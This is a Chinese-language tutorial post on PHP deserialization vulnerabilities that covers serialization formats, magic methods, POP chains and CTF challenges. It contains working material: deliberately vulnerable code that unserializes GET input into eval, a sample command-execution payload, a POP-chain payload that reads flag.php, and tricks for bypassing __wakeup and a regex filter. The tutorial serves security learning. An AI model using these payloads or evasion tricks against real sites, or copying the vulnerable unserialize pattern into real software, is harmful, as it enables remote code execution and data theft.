PHP反序列化漏洞

php 复制代码
类的结构
class ClassName{
 //  成员变量声明
//  成员函数声明
}


类的修饰符
public         共有的          外部可用


protected   受保护的       外部不可用

private        私有的          外部不可用

上面就是定义一个类的格式,例如下面class定义类名,其中定义成员变量一定要加声明var

也可以定义函数(方法),在当前类里面调用变量,需要加this,代表当前类,然后下面的需要将类实体化,才能调用里面的函数,另外也可以将没有初始值的sex进行赋值

php 复制代码
<?php
# phpstorm

class demo{
    // 声明 成员变量
    var $n="wdasdsad";
    var $sex;
    // 声明  成员函数
    function jm(){
        echo $this->n;
        //this 代表当前类
    }
}
//先进行实体化
$d = new demo();
//在进行调用
$d -> jm();
echo "\n";
//也可以进行赋值
echo $d->sex="jr";
echo "\n";

而关于public 以及protected private三个声明之间其中public代表公共的,protect代表包含 priva代表私有,被public修饰的成员变量可以在类的内部或者外部调用,而其他两个只能在类的内部调用

php 复制代码
<?php
class demo{
    // 声明 成员变量  public 公共的
    public $name="juran";
    // 受保护的
    protected $sex="猛男";
    // 私有的
    private $age=18;
    // 声明  成员函数
    function jr(){
//        echo $this->name;
//        echo $this->sex;
        echo $this->age;
    }
}

$d = new demo();
//echo $d->name;
// 类的外部不能调用受保护的成员变量
//echo $d->sex;
// 类的外部不能调用私有的的成员变量
//echo $d->age;
$d -> jr();

序列化基础知识

序列化是将对象的状态信息转换为可以存储或传输得到形式的过程

php 复制代码
<?php

 N;
echo serialize(null);

 i:123;
echo serialize(123);

 d:123.3;
echo serialize(123.3);

 b:1;
echo serialize(true);

 s:5:"juran";
echo serialize("juran");

$a = array("juran", "jr", "JR");
a:3:{i:0;s:5:"juran";i:1;s:2:"jr";i:2;s:2:"JR";}
a:3 参数个数
i:0 编号
 s:5:juran; 值
echo serialize($a);


class demo{
    public $name = "juran";
//    public $age;
    protected $age;
    private $sex;
    public function jr(){
        echo $this->name;
    }
}

O:4:"demo":1:{s:4:"name";s:5:"juran";}
O:4:"demo":2:{s:4:"name";s:5:"juran";s:3:"age";N;}
O:4:"demo":2:{s:4:"name";s:5:"juran";s:6:"%00*%00age";N;}
                                                              %00类名%00属性名字
O:4:"demo":3:{s:4:"name";s:5:"juran";s:6:"%00*%00age";N;s:9:"%00demo%00sex";N;}
echo urlencode(serialize(new demo()));

序列化之后的表达方式 空字符、整形、浮点型、字符串、数组、对象

反序列化

反序列化是将序列化得到的字符串转化为一个对象的过程;

反序列化生成的对象的成员属性值由被反序列化的字符串决定,与原来类预定义的值 无关;

反序列化使用unserialize()函数将字符串转换为对象,序列化使用serialize()函数将对象转 化为字符串;

反序列化不触发类的成员方法,需要调用方法后才能触发

php 复制代码
<?php
class demo{
    public $name = "juran";
    // public $age;
    protected $age;
    private $sex;
    public function jr(){
        echo $this->name;
    }
}
// O%3A4%3A%22demo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22juran%22%3Bs%3A6%3A%22%00%2A%00age%22%3BN%3Bs%3A9%3A%22%00demo%00sex%22%3BN%3B%7D
echo urlencode(serialize(new demo()));
// O:4:"demo":3:{s:4:"name";s:2:"jr";s:6:"%00*%00age";N;s:9:"%00demo%00sex";N;}
echo "\n";
// 反序列化生成的对象的 成员属性值 由被 反序列化的字符串 决定,与 原来类预定义的值无关;
$d = unserialize(urldecode("O%3A4%3A%22demo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A2%3A%22jr%22%3Bs%3A6%3A%22%00%2A%00age%22%3BN%3Bs%3A9%3A%22%00demo%00sex%22%3BN%3B%7D"));

其反序列化以后结果如下

反序列化漏洞利用

反序列化漏洞的原因:反序列化过程中,unserialize()接收的值可控,从get传参数过来进行反序列化,调用diaplayer会导致一些任意命令执行。

php 复制代码
<?php
class demo{
    public $a = 'this is string';
    public function displayVar() {
        eval($this->a);
    }
}

//echo serialize(new demo());
// O:4:"demo":1:{s:1:"a";s:19:"system("ipconfig");";}

$get = $_GET["s"];
echo $get;
// eval->displayVar->s->接收一个序列化的值->$a->可以执行的命令
$b = unserialize($get);
$b->displayVar();

魔法方法

魔术方法是一个预定好的、在特定情况下自动触发的行为方法;
魔术方法的作用:魔术方法在特定条件下自动调用相关方法 最终导致触发代码
construct() //类的构造函数,创建对象时触发

destruct() / /类的析构函数,对象被销毁时触发 反序列化时会被触发

cal1() //调用对象不可访问、不存在的方法时触发

callstatic() //在静态上下文中调用不可访问的方法时触发

get() //调用不可访问、不存在的对象成员属性时触发

set() //在给不可访问、不存在的对象成员属性赋值时触发
isset() //当对不可访问属性调用isset()或empty()时触发

unset() //在不可访问的属性上使用unset()时触发

invoke() //把对象当初函数调用时触发

sleep() //执行serialize()时,先会调用这个方法

wakeup() //执行unserialize()时,先会调用这个方法

tostring() //把对象当成字符串调用时触发

clone() //使用clone关键字拷贝完一个对象后触发

下面对象创建时候,construct()下面的方法会被触发,后面在进行反序列时候会触发destruct()

php 复制代码
class demo{

    public function __construct(){
        echo "已创建";
        echo "\n";
    }

    public function __destruct(){
        echo "已销毁";
        echo "\n";
    }

    public function jr(){
        echo "juran";
    }
}


$d = new demo();
//$d->jr();
// O:4:"demo":0:{}
echo serialize($d);

// unserialize -> __destruct
var_dump(unserialize('O:4:"demo":0:{}'));

以及下面sleep() wakeup() 两对,序列化时触发sleep,反序列时触发wakeup,但是有一点,sleep触发后,没有任何值,需要return 一个数组才能出现对象

php 复制代码
<?php
class demo{
    public $name="juran";
    public function __sleep(){
        echo "使用了serialize";
        // 数组
        return array($this->name);
    }
    public function __wakeup(){
        echo "使用了unserialize";
        echo "\n";
    }
}

$d = new demo();
$b = serialize($d);
echo $b;
unserialize($b);

tostring() //把对象当成字符串调用时触发,把class定义的对象demo当做字符串ehco输出,就会调用

clone() //使用clone关键字拷贝完一个对象后触发,把类当做函数就会触发

POP链构造思路

魔术方法触发的前提是:魔术方法所在的类或者对象被调用,其中将demo1实体对象d1赋值给demo2实体对象d2下面的$d,这样构成了POP链,序列化以后可见下面

php 复制代码
<?php

class demo1
{
    public $a = "juran";
    public $b = true;
    public $c = 666;
}

class demo2
{
    public $h = "hhh";
    public $d;
}

// 成员属性赋值对象
$d1 = new demo1();
$d2 = new demo2();
echo serialize($d2);
echo "\n";
//O:5:"demo2":2:{s:1:"h";s:3:"hhh";s:1:"d";N;}
$d2->d = $d1;
// O:5:"demo2":2:{s:1:"h";s:3:"hhh";s:1:"d";O:5:"demo1":3:{s:1:"a";s:5:"juran";s:1:"b";b:1;s:1:"c";i:666;}}
echo serialize($d2);

我们来看一到ctf题目

php 复制代码
<?php
class Modifier {

    private $var;
    // $var=flag.php
    public function append($value)
    {
        echo $value;
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    // Show
    public $source;
    // Test
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    // Modifier
    public $p;
    public function __construct(){
        $this->p = array();
    }
    // 不存在的属性
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

// pop序列化的值
if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
复制代码
//unserialize('O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" Modifier var";s:8:"flag.php";}}}');

// unserialize->Show->__wakeup->echo->$this->source=Show->__toString
// $this->str=Test -> 不存在source ->__get ->$function()->$p=Modifier
// __invoke->$this->append->include($value)

最后payload如下

复制代码
/ O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

最后讲一下绕过方法,题目如下,其实只要将admin和passwd分别赋值成admin和wllm就可以了,并且绕过一下--wakeup

将其序列化一下,注意他的属性值个数大于实际的格式就会绕过wakeup

最后一个,通常我们序列化一个对象之后前面的值一定是o:4,但是这样会受到下面正则匹配限制,其实只需要o:+4,在中间加一个加号就能绕过,下面匹配的是以o或c开头后面接一个数字

php 复制代码
<?php

class Demo
{
    private $file = 'index.php';

    public function __construct($file)
    {
        $this->file = $file;
    }

    function __destruct()
    {
        echo @highlight_file($this->file, true);
    }

    function __wakeup()
    {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}

if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    // O:+4
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
相关推荐
Chloe_lll4 小时前
threejs(七)PBR材质
开发语言·javascript·材质
zh_xuan5 小时前
c++ stringstream字符串流的用法
开发语言·c++
该用户已不存在5 小时前
写了这么多年Java,这几个神仙技巧你用过吗?
java·后端
小王不爱笑1325 小时前
Java 核心知识点查漏补缺(二)
java·开发语言
Lacrimosa&L5 小时前
OS_2 进程与线程(进程管理)
java·开发语言
zl9798995 小时前
SpringBoot-Web开发之嵌入式容器
java·spring boot
zzywxc7875 小时前
解锁 Rust 开发新可能:从系统内核到 Web 前端的全栈革命
开发语言·前端·python·单片机·嵌入式硬件·rust·scikit-learn
大雨淅淅5 小时前
【编程语言】Rust 入门
开发语言·后端·rust
桃花键神5 小时前
【送书福利-第四十四期】《 深入Rust标准库》
开发语言·后端·rust